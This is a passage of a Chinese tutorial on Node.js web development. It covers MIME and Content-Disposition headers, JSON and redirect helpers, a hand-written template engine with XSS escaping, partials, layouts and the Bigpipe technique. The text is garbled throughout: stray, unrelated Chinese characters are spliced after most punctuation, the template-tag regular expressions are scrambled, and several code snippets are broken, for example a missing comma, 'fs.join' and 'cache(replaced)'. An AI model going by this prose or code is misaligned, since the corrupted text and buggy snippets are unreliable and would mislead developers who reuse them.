這樣匹表,只有訪問public才會(huì)命中靜態(tài)文件。
更好的做法是使用nginx等專門的web容器來為靜態(tài)文件做代理宣鄙,讓node專心做api服務(wù)器袍镀。
最后總結(jié)
中間件的哲學(xué)與unix的哲學(xué)不謀而合,專注簡(jiǎn)單冻晤,小而美苇羡,然后通過組合使用,發(fā)揮強(qiáng)大的能量鼻弧。(這里基本上分析了connect模塊的設(shè)計(jì)原理设江,雖然實(shí)現(xiàn)不盡相同锦茁,但是有了對(duì)于connect原理的認(rèn)知,我們可以把程序?qū)懙母貌娲妫鼫?zhǔn)確码俩,更高效)
頁(yè)面渲染(或客戶端響應(yīng))
頁(yè)面渲染或者客戶端響應(yīng)都是最終呈現(xiàn)給用戶的那一部分,可以說是最重要的一部分歼捏,關(guān)系著用戶的體驗(yàn)和產(chǎn)品的顏值稿存。本節(jié)將包含兩部分內(nèi)容,內(nèi)容響應(yīng)和頁(yè)面渲染瞳秽。
內(nèi)容響應(yīng)
內(nèi)容響應(yīng)的過程中瓣履,我們會(huì)用到響應(yīng)報(bào)文頭的Content-x字段。我們以一個(gè)gzip編碼的文件作為例子講解练俐,我們將告知客戶端內(nèi)容是以gzip編碼的袖迎,其內(nèi)容長(zhǎng)度為21170個(gè)字節(jié),內(nèi)容類型為javascript腺晾,字符集utf-8
Content-Encoding: gzip
Content-Length: 21170
Content-Type: text/javascript; charset=utf-8
客戶端在接收到這個(gè)報(bào)文后燕锥,正確的處理過程是通過gzip來解釋報(bào)文體中的內(nèi)容,用長(zhǎng)度校驗(yàn)報(bào)文體內(nèi)容是否正確丘喻,然后再以字符集utf-8將解碼后的腳本插入到文檔節(jié)點(diǎn)中脯宿。
MIME
如果想要客戶端用正確的方式來處理響應(yīng)內(nèi)容念颈,那么mime就必須要深刻理解泉粉。我們舉兩個(gè)例子:
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('<html><body>Hello World</body></html>\n');
和
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body>Hello World</body></html>\n');
在網(wǎng)頁(yè)中,前者顯示的是<html><body>Hello World</body></html>
后者看到的是hello world榴芳,也就是當(dāng)Content-Type': 'text/html'的時(shí)候嗡靡,客戶端將響應(yīng)內(nèi)容標(biāo)識(shí)為了html,并渲染了dom樹窟感。這里瀏覽器通過不同的Content-type的值來決定采用不同的渲染方式讨彼,這個(gè)值我們簡(jiǎn)稱為MIME。
MIME = Multipurpose Internet Mail Extensions柿祈,最早應(yīng)用于電子郵件哈误,后來擴(kuò)展到了瀏覽器領(lǐng)域。不同的文件類型具備不同的MIME值躏嚎,如application/json蜜自、application/xml、application/pdf卢佣。為了方便獲知文件的MIME值重荠,我們可以使用mime模塊來判斷文件類型:
var mime = require('mime');
mime.lookup('/path/to/file.txt'); // => 'text/plain'
mime.lookup('file.txt'); // => 'text/plain'
mime.lookup('.TXT'); // => 'text/plain'
mime.lookup('htm'); // => 'text/html'
除了MIME值之外,content-type還會(huì)包含其他一些參數(shù)虚茶,例如字符集:
Content-Type: text/javascript; charset=utf-8
附件下載
在某些場(chǎng)景下戈鲁,無論響應(yīng)的內(nèi)容是什么樣的MIME值仇参,需求中并不要求客戶端去打開它,只需要彈出并下載它即可婆殿,為了滿足這種需求诈乒,content-disposition字段就登場(chǎng)了,content-disposition字段影響的行為是客戶端會(huì)根據(jù)它的值判斷是應(yīng)該將報(bào)文數(shù)據(jù)當(dāng)做即時(shí)瀏覽的內(nèi)容婆芦,還是可下載的附件抓谴。當(dāng)內(nèi)容只需即時(shí)查看時(shí),它的值為inline寞缝,當(dāng)數(shù)據(jù)可以存為附件時(shí)癌压,它的值為attachment,另外荆陆,content-disposition字段滩届,還能通過參數(shù)指定保存時(shí)應(yīng)該使用的文件名:
Content-Disposition: attachment; filename="filename.ext"
如果我們?cè)O(shè)計(jì)一個(gè)附件下載的api,我們可以這樣做:
res.sendfile = function (filepath) {
fs.stat(filepath, function (err, stat) {
var stream = fs.createReadStream(filepath);
// 設(shè)置內(nèi)容
res.setHeader('Content-Type', mime.lookup(filepath));
// 設(shè)置長(zhǎng)度
res.setHeader('Content-Length', stat.size);
// 設(shè)置為附件
res.setHeader('Content-Disposition' 'attachment; filename="' + path.basename(filepath) + '"');
res.writeHead(200);
stream.pipe(res);
});
};
響應(yīng)json
我們做一個(gè)快速響應(yīng)json的小方法:
res.json = function (json) {
res.setHeader('Content-Type', 'application/json');
res.writeHead(200);
res.end(JSON.stringify(json));
};
響應(yīng)跳轉(zhuǎn)
也就是express的redirect功能被啼,我們可以這樣做:
res.redirect = function (url) {
res.setHeader('Location', url);
res.writeHead(302);
res.end('Redirect to ' + url);
};
視圖渲染
雖然web可以響應(yīng)各種類型的文件(我們上文就說過了文本類型帜消、html、附件浓体、跳轉(zhuǎn)等)泡挺。但是,最主流的還是html命浴,對(duì)于響應(yīng)的內(nèi)容是html類型的娄猫,我們稱之為視圖渲染,這個(gè)渲染過程通過模板和數(shù)據(jù)共同完成生闲。渲染模板媳溺,我們給一個(gè)方法叫做render,我們看看自己實(shí)現(xiàn)render的例子:
res.render = function (view, data) {
res.setHeader('Content-Type', 'text/html');
res.writeHead(200);
// 實(shí)際渲染
var html = render(view, data);
res.end(html);
};
通過render方法碍讯,我們將模板和數(shù)據(jù)進(jìn)行合并并解析悬蔽,然后返回客戶端html作為響應(yīng)內(nèi)容。
模板
最早的服務(wù)器端動(dòng)態(tài)頁(yè)面開發(fā)捉兴,采用了CGI或者servlet中輸出html片段蝎困,并通過網(wǎng)絡(luò)流輸出到客戶端,客戶端再將其渲染到用戶界面上倍啥。這種邏輯代碼和html輸出混寫的方式禾乘,會(huì)造成小小的代碼變動(dòng)就要進(jìn)行服務(wù)器端的代碼修改,甚至需要重新編譯代碼逗栽。為了改良這種情況盖袭,是html與業(yè)務(wù)邏輯分離,催生出了很多服務(wù)器端動(dòng)態(tài)網(wǎng)頁(yè)技術(shù),如asp鳄虱、php弟塞、jsp。但是拙已,這樣做還是html和邏輯代碼混寫在一起决记,于是就有了mvc模式,通過mvc的思想倍踪,將邏輯系宫、顯示、數(shù)據(jù)進(jìn)行分離建车,模板技術(shù)就是這種思想的延伸扩借。
模板技術(shù)有四個(gè)關(guān)鍵的要素:
1.模板語(yǔ)言
2.包含模板語(yǔ)言的模板文件
3.擁有動(dòng)態(tài)數(shù)據(jù)的數(shù)據(jù)對(duì)象
4.模板引擎
對(duì)于asp、php缤至、jsp潮罪,模板屬于服務(wù)器動(dòng)態(tài)頁(yè)面的內(nèi)置功能,模板語(yǔ)言就是他們的宿主語(yǔ)言(VBScript领斥、JScript嫉到、PHP、Java)月洛,模板文件就是以.php何恶、.asp、.jsp為后綴的文件嚼黔,模板引擎就是web容器细层。
之后,為了拆分業(yè)務(wù)邏輯隔崎,asp今艺、php韵丑、jsp都對(duì)技術(shù)進(jìn)行了擴(kuò)展爵卒,php有了PHPLIB Template和FastTemplate贾富,jsp有了XSTL古毛、Velocity、 JDynamiTe斋荞、 Tapestry等模板陌僵,此時(shí)轴合,只要有數(shù)據(jù)對(duì)象就可以了,其他的交給模板框架碗短。但是受葛,這些技術(shù)存在局限性,因?yàn)椋@些模板是特定的总滩,一旦選擇了一種技術(shù)纲堵,就很難改變了,對(duì)于靈活快速的互聯(lián)網(wǎng)應(yīng)用闰渔,這種局限性往往帶來的是更加高昂的成本席函。
之后,有一個(gè)破局者來了冈涧,這就“胡子”茂附,也就是Mustache,它提出了弱邏輯的模板(logic-less templates)督弓,通過定義{{}}為標(biāo)志营曼,完成了一套模板語(yǔ)言。
但是愚隧,隨著node在社區(qū)的發(fā)展溶推,模板語(yǔ)言可以隨意創(chuàng)造,模板引擎也可以隨意實(shí)現(xiàn)奸攻,node社區(qū)有大量的模板語(yǔ)言供大家選擇蒜危。并且,由于js的前后統(tǒng)一睹耐,一套模板可以適用于前端和后端辐赞,無需切換代碼環(huán)境。
這樣看來硝训,模板技術(shù)不是什么神秘的技術(shù)响委,他們做的只是拼接字符串這樣的很底層的活,把數(shù)據(jù)和模板字符串拼接好窖梁,并轉(zhuǎn)換為html赘风,響應(yīng)給客戶端而已。
模板引擎
一個(gè)模板一般會(huì)做如下幾件事
步驟 | 說明 |
---|---|
語(yǔ)法分解 | 提取出普通字符串和表達(dá)式纵刘,這個(gè)過程通常用正則表達(dá)式匹配出來邀窃,<%=%>的正則表達(dá)式為/< =([ % \s\S]+?) >/g |
處理表達(dá)式 | 將標(biāo)簽表達(dá)式轉(zhuǎn)換為普通的語(yǔ)言表達(dá)式 |
生成執(zhí)行語(yǔ)句 | |
與數(shù)據(jù)一起執(zhí)行 | 此步驟會(huì)生成最終的字符串 |
然后,我們來實(shí)現(xiàn)render方法假哎,這個(gè)方法瞬捕,可以讓我們看清楚,模板技術(shù)的實(shí)質(zhì)就是替換特殊標(biāo)簽的技術(shù)
var render = function (str, data) {
var tpl = str.replace(/< =([ % \s\S]+?) >/g, function (match, code) { %
return "' + obj." + code + "+ '";
});
tpl = "var tpl = '" + tpl + "'\nreturn tpl;";
var complied = new Function('obj', tpl);
return complied(data);
};
//---------------------------
var tpl = 'Hello < =username >.'; % %
console.log(render(tpl, {username: 'Jackson Tian'}));
// => Hello Jackson Tian.
模板編譯
在上邊的代碼中舵抹,我們看到了模板編譯肪虎。為了能夠最終將數(shù)據(jù)與模板合并,并生成字符串惧蛹,我們需要將原始的模板字符串轉(zhuǎn)換成一個(gè)函數(shù)對(duì)象:(此處會(huì)用到Function扇救,語(yǔ)法為new Function ([arg1[, arg2[, ... argN]],] functionBody))
tpl = "var tpl = '" + tpl + "'\nreturn tpl;";
var complied = new Function('obj', tpl);
function (obj) {
var tpl = 'Hello ' + obj.username + '.';
return tpl;
}
通過模板編譯刑枝,生成的中間件函數(shù),只與模板字符串相關(guān)迅腔,與具體的數(shù)據(jù)無關(guān)仅讽,如果每次都生成這個(gè)中間件函數(shù),會(huì)浪費(fèi)cpu钾挟,為了提升渲染模板的性能洁灵,我們通常采用模板預(yù)編譯的方式,我們將上述的代碼進(jìn)行拆分:
var complie = function (str) {
var tpl = str.replace(/< =([ % \s\S]+?) >/g, functi % on(match, code) {
return "' + obj." + code + "+ '";
});
tpl = "var tpl = '" + tpl + "'\nreturn tpl;";
return new Function('obj, escape', tpl);
};
var render = function (complied, data) {
return complied(data);
};
通過預(yù)編譯緩存模板編譯后的結(jié)果掺出,實(shí)際應(yīng)用中就可以實(shí)現(xiàn)一次編譯徽千,多次執(zhí)行,而原始的方式每次執(zhí)行過程中都要進(jìn)行一次編譯和執(zhí)行汤锨。
with的應(yīng)用
with是一個(gè)被Douglas Crockford指責(zé)的js設(shè)計(jì)双抽,但是在這里,卻可以讓模板做更多的事闲礼。我們改造一下之前寫的代碼:
var complie = function (str, data) {
var tpl = str.replace(/< =([ % \s\S]+?) >/g, function (match, code) { %
return "' + " + code + "+ '";
});
tpl = "tpl = '" + tpl + "'";
tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;';
return new Function('obj', tpl);
};
模板安全
由于使用了模板牍汹,因此,增加了xss的風(fēng)險(xiǎn)柬泽,因此需要對(duì)模板進(jìn)行安全防護(hù)慎菲,這個(gè)安全防護(hù)就是字符轉(zhuǎn)義:
var escape = function (html) {
return String(html)
.replace(/&(?!\w+;)/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, '''); // IE不支持'單引號(hào)轉(zhuǎn)義
};
我們將不確定要輸出html標(biāo)簽的字符都轉(zhuǎn)義,為了讓轉(zhuǎn)義和非轉(zhuǎn)義表現(xiàn)的更方便锨并,<%=%>和<%-%>分別表示為轉(zhuǎn)義和非轉(zhuǎn)義的情況:
var render = function (str, data) {
var tpl = str.replace(/\n/g, '\\n') // 將換行符替換
.replace(/< =([ % \s\S]+?) >/g, function (match, code) { %
// 轉(zhuǎn)義
return "' + escape(" + code + ") + '";
}).replace(/<%-([\s\S]+?) >/g, function (match, % code) {
// 正常輸出
return "' + " + code + "+ '";
});
tpl = "tpl = '" + tpl + "'";
tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;';
// 加上escape()函數(shù)
return new Function('obj', 'escape', tpl);
};
模板引擎通過正則分別匹配-和=并區(qū)別對(duì)待露该,最后不要忘記傳入escape()函數(shù),最終上面的危險(xiǎn)代碼會(huì)轉(zhuǎn)換為安全的輸出:
Hello <script>alert("I am XSS.")</script>.
因此第煮,在模板技術(shù)的使用中解幼,時(shí)刻不要忘記轉(zhuǎn)義,尤其是與輸入有關(guān)的變量一定要轉(zhuǎn)義包警。
模板邏輯
也就是在模板上添加if-else等條件語(yǔ)句撵摆,我們寫實(shí)現(xiàn)的代碼:
<% if (user) { %>
<h2><% = user.name %></h2>
<% } else { %>
<h2>匿名用戶</h2>
<% } %>
我們可以使用這種方式來編譯這段代碼:
function (obj, escape) {
var tpl = "";
with (obj) {
if (user) {
tpl += "<h2>" + escape(user.name) + "</h2>";
} else {
tpl += "<h2>匿名用戶</h2>";
}
}
return tpl;
}
模板引擎拼接字符串的原理還是通過正則表達(dá)式進(jìn)行匹配替換:
var complie = function (str) {
var tpl = str.replace(/\n/g, '\\n') // 將換行符替換
.replace(/< =([ % \s\S]+?) >/g, function (match, code) { %
// 轉(zhuǎn)義
return "' + escape(" + code + ") + '";
}).replace(/< =([ % \s\S]+?) >/g, function (match, code) { %
// 正常輸出
return "' + " + code + "+ '";
}).replace(/< ([ % \s\S]+?) >/g, function (match, code) { %
// 可執(zhí)行代碼
return "';\n" + code + "\ntpl += '";
}).replace(/\'\n/g, '\'')
.replace(/\n\'/gm, '\'');
tpl = "tpl = '" + tpl + "';";
// 轉(zhuǎn)換空行
tpl = tpl.replace(/''/g, '\'\\n\'');
tpl = 'var tpl = "";\nwith (obj || {}) {\n' + tpl + '\n}\nreturn tpl;';
return new Function('obj', 'escape', tpl);
};
var tpl = [
'< if (user) { >', % %
'<h2>< =user.name ></h2>', % %
'< } else { >', % %
'<h2>匿名用戶</h2>',
'< } >'].join(' % % \n');
render(complie(tpl), {user: {name: 'Jackson Tian'}});
//輸出結(jié)果
<h2>Jackson Tian</h2>
此外還可以按照這種方式實(shí)現(xiàn)for循環(huán)
var tpl = [
'< for (var i = 0; i < items.length; i++) { >', % %
'< var item = items[i]; >', % %
'<p>< = i+1 > % % ? < =item.nam % e ></p>', %
'< } >' % %
].join('\n');
render(complie(tpl), {items: [{name: 'Jackson'}, {name: 'a '}]})
集成文件系統(tǒng)
我們來實(shí)現(xiàn)一個(gè)更加簡(jiǎn)潔的render
var cache = {};
var VIEW_FOLDER = '/path/to/wwwroot/views';
res.render = function (viewname, data) {
if (!cache[viewname]) {
var text;
try {
text = fs.readFileSync(path.join(VIEW_FOLDER, viewname), 'utf8');
} catch (e) {
res.writeHead(500, { 'Content-Type': 'text/html' });
res.end('模板文件錯(cuò)誤');
return;
}
cache[viewname] = complie(text);
}
var complied = cache[viewname];
res.writeHead(200, { 'Content-Type': 'text/html' });
var html = complied(data);
res.end(html);
};
此處采用了緩存,只會(huì)在第一次讀取的時(shí)候造成整個(gè)進(jìn)程的阻塞害晦,一旦緩存生效特铝,將不會(huì)反復(fù)讀取模板文件,其次篱瞎,緩存之前已經(jīng)進(jìn)行了編譯苟呐,也不會(huì)每次都讀取都編譯了。封裝完渲染之后俐筋,我們可以輕松調(diào)用了:
app.get('/path', function (req, res) {
res.render('viewname', {});
});
由于模板文件內(nèi)容都不大,也不屬于動(dòng)態(tài)改動(dòng)的严衬,所以使用進(jìn)程的內(nèi)存來緩存編譯結(jié)果澄者,并不會(huì)引起太大的垃圾回收問題
子模板(Partial view)
通過子模板解耦大模板
<ul>
< users.forE % ach(function(user){ > %
< include user /show > % %
< }) > % %
</ul>
//------------------------
<li>< =user.name ></li> % %
我們來寫實(shí)現(xiàn)代碼:
var files = {};
var preComplie = function (str) {
var replaced = str.replace(/<%\s+(include.*)\s+ >/g, function (match, code) { %
var partial = code.split(/\s/)[1];
if (!files[partial]) {
files[partial] = fs.readFileSync(fs.join(VIEW_FOLDER, partial), 'utf8');
}
return files[partial];
});
// 多層嵌套,繼續(xù)替換
if (str.match(/<%\s+(include.*)\s+ >/)) { %
return preComplie(replaced);
} else {
return replaced;
}
};
然后改進(jìn)complie方法,在正是編譯前粱挡,進(jìn)行子模板替換:
var complie = function (str) {
// 預(yù)解析子模板
str = preComplie(str);
var tpl = str.replace(/\n/g, '\\n') // 將換行符替換
.replace(/< =([ % \s\S]+?) >/g, function (match, code) { %
// 轉(zhuǎn)義
return "' + escape(" + code + ") + '";
}).replace(/< =([ % \s\S]+?) >/g, function (m % atch, code) {
// 正常輸出
return "' + " + code + "+ '";
}).replace(/< ([ % \s\S]+?) >/g, function (match, code) { %
// 返回可執(zhí)行代碼
return "';\n" + code + "\ntpl += '";
}).replace(/\'\n/g, '\'')
.replace(/\n\'/gm, '\'');
tpl = "tpl = '" + tpl + "';";
// 轉(zhuǎn)換空行
tpl = tpl.replace(/''/g, '\'\\n\'');
tpl = 'var tpl = "";\nwith (obj || {}) {\n' + tpl + '\n}\nreturn tpl;';
return new Function('obj', 'escape', tpl);
};
布局視圖(layout)
局部視圖與子模板原理相同赠幕,但是應(yīng)用場(chǎng)景不同。一個(gè)模板可以通過不同的局部視圖來改變渲染的效果询筏。也就是模板內(nèi)容相同榕堰,局部視圖不同。
// 模板1
<ul>
< users.forEach(function(user){ > % %
< include user /show > % %
< }) > % %
</ul>
// 模板2
<ul>
< users.forEach(function(user){ > % %
< include profile > % %
< }) > % %
</ul>
//
res.render('viewname', {
layout: 'layout.html',
users: []
});
我們?cè)O(shè)計(jì)<%- body %>來替換我們的子模板
<ul>
< users.forEach % (function(user){ > %
<% - body > %
< }) > % %
</ul>
替換代碼如下:
var renderLayout = function (str, viewname) {
return str.replace(/<%-\s*body\s* >/g, function (match, code) { %
if (!cache[viewname]) {
cache[viewname] = fs.readFileSync(fs.join(VIEW_FOLDER, viewname), 'utf8');
}
return cache[viewname];
});
};
然后我們修改render方法
res.render = function (viewname, data) {
var layout = data.layout;
if (layout) {
if (!cache[layout]) {
try {
cache[layout] = fs.readFileSync(path.join(VIEW_FOLDER, layout), 'utf8');
} catch (e) {
res.writeHead(500, { 'Content-Type': 'text/html' });
res.end('布局文件錯(cuò)誤');
return;
}
}
}
var layoutContent = cache[layout] || '<%-body >'; %
var replaced;
try {
replaced = renderLayout(layoutContent, viewname);
} catch (e) {
res.writeHead(500, { 'Content-Type': 'text/html' });
res.end('模板文件錯(cuò)誤');
return;
}
// 將模板和布局文件名做key緩存
var key = viewname + ':' + (layout || '');
if (!cache[key]) {
// 編譯模板
cache[key] = cache(replaced);
}
res.writeHead(200, { 'Content-Type': 'text/html' });
var html = cache[key](data);
res.end(html);
};
如此嫌套,我們可以輕松實(shí)現(xiàn)重用布局文件:
res.render('user', {
layout: 'layout.html',
users: []
});
// 或者
res.render('profile', {
layout: 'layout.html',
users: []
});
模板性能
1.緩存模板文件
2.緩存模板文件編譯后的函數(shù)
3.優(yōu)化模板中的執(zhí)行表達(dá)式逆屡,例如將字符串相加修改為數(shù)組形式,或者將使用with查找模式修改為使用指定對(duì)象名的形式等踱讨,此處不做展開講解魏蔗。(不用with可以減少上下文切換)
模板小結(jié)
目前知名的模板有ejs、jade痹筛。ejs偏向于php風(fēng)格莺治,jade類似于python,ruby風(fēng)格
Bigpipe
由于node是異步加載帚稠,最終的速度將取決于最后完成的那個(gè)任務(wù)的速度谣旁,并在最后完成后將html響應(yīng)給客戶端。因此滋早,bigpipe的思想將把頁(yè)面分割為多個(gè)部分(pagelet)蔓挖,先向用戶輸出沒有數(shù)據(jù)的布局(框架),然后馆衔,逐步返回需要的數(shù)據(jù)瘟判。這個(gè)過程,或者說bigpipe需要前后端協(xié)作完成渲染角溃。
整理一下就是如下步驟:
1.頁(yè)面布局框架(無數(shù)據(jù)的)
2.后端持續(xù)性的數(shù)據(jù)輸出
3.前端渲染
頁(yè)面布局框架
var cache = {};
var layout = 'layout.html';
app.get('/profile', function (req, res) {
if (!cache[layout]) {
cache[layout] = fs.readFileSync(path.join(VIEW_FOLDER, layout), 'utf8');
}
res.writeHead(200, { 'Content-Type': 'text/html' });
res.write(render(complie(cache[layout])));
// TODO
});
前端需要做的事情如下:
// layout.html
< !DOCTYPE html >
<html>
<head>
<title>Bagpipe?? </title>
<script src="jquery.js"></script>
<script src="underscore.js"></script>
<script src="bigpipe.js"></script>
</head>
<body>
<div id="body"></div>
<script type="text/template" id="tpl_body">
<div>< =articles ></div> % %
</script>
<div id="footer"></div>
<script type="text/template" id="tpl_footer">
<div>< =users >< % % /div>
</script>
</body>
</html>
<script>
var bigpipe = new Bigpipe();
bigpipe.ready('articles', function (data) {
$('#body').html(_.render($('#tpl_body').html(), { articles: data }));
});
bigpipe.ready('copyright', function (data) {
$('#footer').html(_.render($('#tpl_footer').html(), { users: data }));
});
</script>
持續(xù)數(shù)據(jù)輸出
實(shí)現(xiàn)的代碼如下:
app.get('/profile', function (req, res) {
if (!cache[layout]) {
cache[layout] = fs.readFileSync(path.join(VIEW_FOLDER, layout), 'utf8');
}
res.writeHead(200, { 'Content-Type': 'text/html' });
res.write(render(complie(cache[layout])));
ep.all('users', 'articles', function () {
res.end();
});
ep.fail(function (err) {
res.end();
});
db.getData('sql1', function (err, data) {
data = err ? {} : data;
res.write('<script>bigpipe.set("articles", ' + JSON.stringify(data) + ');</script>';
});
db.getData('sql2', function (err, data) {
data = err ? {} : data;
res.write('<script>bigpipe.set("copyright", ' + JSON.stringify(data) + ');</script>';
});
});
然后在html上再添加bigpipe的支持
<script>bigpipe.set("articles", "I am article");</script>
<script>bigpipe.set("copyright", "I am copyright");</script>
這樣就響應(yīng)了后端發(fā)過來的數(shù)據(jù)
前端渲染
前文的bigpipe.ready()?和bigpipe.set()是整個(gè)前端的渲染機(jī)制拷获,前者以一個(gè)key注冊(cè)一個(gè)事件,后者觸發(fā)一個(gè)事件减细,以此完成頁(yè)面的渲染機(jī)制匆瓜。這兩個(gè)函數(shù)都定義在bigpipe下:
var Bigpipe = function () {
this.callbacks = {};
};
Bigpipe.prototype.ready = function (key, callback) {
if (!this.callbacks[key]) {
this.callbacks[key] = [];
}
this.callbacks[key].push(callback);
};
Bigpipe.prototype.set = function (key, data) {
var callbacks = this.callbacks[key] || [];
for (var i = 0; i < callbacks.length; i++) {
callbacks[i].call(this, data);
}
};
bigpipe能做的事情,ajax也可以做未蝌,但是ajax要調(diào)用http連接驮吱,會(huì)耗費(fèi)資源。bigpipe獲取數(shù)據(jù)與當(dāng)前頁(yè)面共用相同的網(wǎng)絡(luò)連接萧吠,開銷很小左冬。因此,可以在網(wǎng)站重要的且數(shù)據(jù)請(qǐng)求時(shí)間較長(zhǎng)的頁(yè)面中使用纸型。
總結(jié)
這一章的內(nèi)容拇砰,講述了整個(gè)web應(yīng)用的構(gòu)建過程梅忌,從處理請(qǐng)求到響應(yīng)請(qǐng)求的整個(gè)過程都有原理性闡述,可以使用這些知識(shí)除破,去構(gòu)建一個(gè)自己的功能完備的web開發(fā)框架牧氮。當(dāng)然,建議使用express或者koa這樣成熟的web框架瑰枫,來開發(fā)自己的業(yè)務(wù)踱葛。